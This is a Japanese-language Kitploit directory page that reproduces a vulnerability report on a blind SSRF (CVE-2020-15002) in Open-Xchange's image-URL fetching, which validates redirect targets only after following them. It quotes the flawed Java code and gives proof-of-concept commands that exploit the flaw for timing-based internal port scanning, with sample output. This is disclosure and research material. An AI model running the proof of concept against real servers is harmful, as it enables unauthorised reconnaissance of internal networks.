Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Blind-SSRF-CVE-2020-15002 — https://hackerone.com/reports/865652 | Kitploit
ツール/GitHubGitHub/skr0x1c0/blind-ssrf-cve-2020-15002
偵察ポートスキャン脆弱性分析エクスプロイトウェブアプリケーション悪用
GitHubskr0x1c0/blind-ssrf-cve-2020-15002

Blind-SSRF-CVE-2020-15002

https://hackerone.com/reports/865652

リポジトリを見る
5年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

概要

AddFileAction.getImageDataFromUrl 内の、/appsuite/api/oxodocumentfilter&action=addfile を処理する際に外部URLから画像を取得するロジック(こちらで実装)では、すべてのリダイレクトを辿った後にのみリダイレクト先URLを検証しています。

root@kitploit:~
response = httpClient.execute(getRequest, context);

int statusCode = response.getStatusLine().getStatusCode();
if (statusCode == HttpStatus.SC_OK) {
    List<URI> locations = context.getRedirectLocations();
    if (locations != null) {
        for (URI uri : locations) {
            try {
                Optional<OXException> oxException = validator.apply(uri.toURL());
                if (oxException.isPresent()) {
                    throw (RESTException) oxException.get().getCause();
                }
            } catch (MalformedURLException e) {
                throw new RESTException(ErrorCode.GENERAL_ARGUMENTS_ERROR, e);
            }
        };
    }
    long length = response.getEntity().getContentLength();
    ...
}

この脆弱性は、攻撃者によってブラインドSSRF攻撃を実行するために悪用される可能性があります。

再現手順

  1. 以下のガイドに従って、仮想マシンに Open-Xchange および Documents をインストールします。
    https://oxpedia.org/wiki/index.php?title=AppSuite:Open-Xchange_Installation_Guide_for_Debian_9.0
    https://oxpedia.org/wiki/index.php?title=AppSuite:Documents_Installation_Guide#Debian_GNU.2FLinux_9.0_.28valid_from_v7.10.29
  2. VM内で以下のコマンドを実行し、netcat を 127.0.0.1:7070 で待ち受けさせます。
    root@kitploit:~
    nc -l 127.0.0.1 -p 7070
    
  3. ホストマシンで https://golang.org/dl/ から golang をインストールします。
  4. poc.zip ファイルをダウンロードして展開します。
  5. ターミナル/コマンドラインを開き、展開した poc.zip フォルダにカレントディレクトリを移動します。
  6. 以下のコマンドを実行します。
    root@kitploit:~
    go run . -redirectorAddress="172.16.146.1:8081" -targetPorts="7070" -serverRoot="http://172.16.66.130" -username="testuser" -password="secret"
    
    ここで、
    • redirectorAddress: リダイレクタサーバがバインドするIPアドレスとポート。このIPアドレスはVMからアクセス可能である必要があります。
    • targetPorts: netcat が待ち受けているVM内のポート。
    • serverRoot: open-xchange サーバのベースURL。
    • serverUser: open-xchange サーバ上の任意のユーザのユーザ名。
    • serverPass: open-xchange サーバ上のユーザのパスワード。

上記のコマンドを実行すると、netcat に以下の出力が表示されます。

root@kitploit:~
GET /image.png HTTP/1.1
Accept: *
Accept-Encoding: gzip
Host: 127.0.0.1:7070
Connection: Keep-Alive
User-Agent: Open-Xchange Image Url Data Fetcher

影響

ブラインドSSRFであるため、HTTPリクエストの応答を読み取ることはできません。しかし、この脆弱性は偵察に利用される可能性があります。

例:応答時間によるポートスキャン

サーバのローカルネットワーク上のポート 7070、61616、8004、80、22、25、8080、3125 に対してポートスキャンを実行するには、以下のコマンドを実行します。

root@kitploit:~
go run . -redirectorAddress="172.16.146.1:8081" -targetPorts="7070,61616,8004,80,22,8080,3125" -serverRoot="http://172.16.66.130" -username="testuser" -password="secret" -numSamples=20

出力:

root@kitploit:~
2020/05/04 13:32:42 7070: 2.220000
2020/05/04 13:32:42 61616: 3567.000000
2020/05/04 13:32:42 8004: 2.980000
2020/05/04 13:32:42 80: 3.180000
2020/05/04 13:32:42 22: 34.600000
2020/05/04 13:32:42 25: 2169.333333
2020/05/04 13:32:42 8080: 2.560000
2020/05/04 13:32:42 3125: 3.000000

lsof を使用してVM内の開いているポートを確認できます。

root@kitploit:~
sudo lsof -nP -iTCP -sTCP:LISTEN

出力:

root@kitploit:~
COMMAND  PID         USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
java     467 open-xchange   15u  IPv6  13049      0t0  TCP 172.16.66.130:9994 (LISTEN)
java     467 open-xchange   16u  IPv6  15970      0t0  TCP *:42319 (LISTEN)
java     467 open-xchange   24u  IPv6  14136      0t0  TCP 127.0.0.1:61616 (LISTEN)
java     467 open-xchange   33u  IPv6  16419      0t0  TCP *:8004 (LISTEN)
java     489 open-xchange   37u  IPv6  14138      0t0  TCP 127.0.0.1:9999 (LISTEN)
java     489 open-xchange   42u  IPv6  17565      0t0  TCP 127.0.0.1:1099 (LISTEN)
java     489 open-xchange   47u  IPv6  14144      0t0  TCP 127.0.0.1:5701 (LISTEN)
java     489 open-xchange  127u  IPv6  15345      0t0  TCP *:36149 (LISTEN)
java     489 open-xchange  144u  IPv6  17559      0t0  TCP 127.0.0.1:8009 (LISTEN)
apache2  526         root    3u  IPv6  13789      0t0  TCP *:80 (LISTEN)
apache2  527     www-data    3u  IPv6  13789      0t0  TCP *:80 (LISTEN)
apache2  528     www-data    3u  IPv6  13789      0t0  TCP *:80 (LISTEN)
mysqld   695        mysql   26u  IPv4  13847      0t0  TCP 127.0.0.1:3306 (LISTEN)
exim4   1077  Debian-exim    3u  IPv4  13115      0t0  TCP 127.0.0.1:25 (LISTEN)
exim4   1077  Debian-exim    4u  IPv6  13116      0t0  TCP [::1]:25 (LISTEN)
sshd    1345         root    3u  IPv4  14259      0t0  TCP 172.16.66.130:22 (LISTEN)
sshd    1345         root    4u  IPv4  14261      0t0  TCP 127.0.0.1:22 (LISTEN)

上記の出力から、以下の観察結果が得られます。

  • 閉じているポート(7070、8080、3125)では、応答時間が短い(約3ミリ秒未満)。
  • 開いているポートでは、待ち受け接続の種類に応じて応答時間が異なります。
    • ssh(ポート22)の応答時間は約34ミリ秒。
    • exim(ポート25)の応答時間は約2170ミリ秒。
    • ActiveMQ(ポート61616)の応答時間は約3567ミリ秒。
    • http(ポート80、8004)の応答時間は約3ミリ秒(閉じているポートとの区別が難しいタイプ)。

したがって、攻撃者はこの脆弱性を利用してほとんどの開いているポートを検出し、応答時間から接続の種類(ssh / exim / activemq など)を特定することができます。

ツールをダウンロード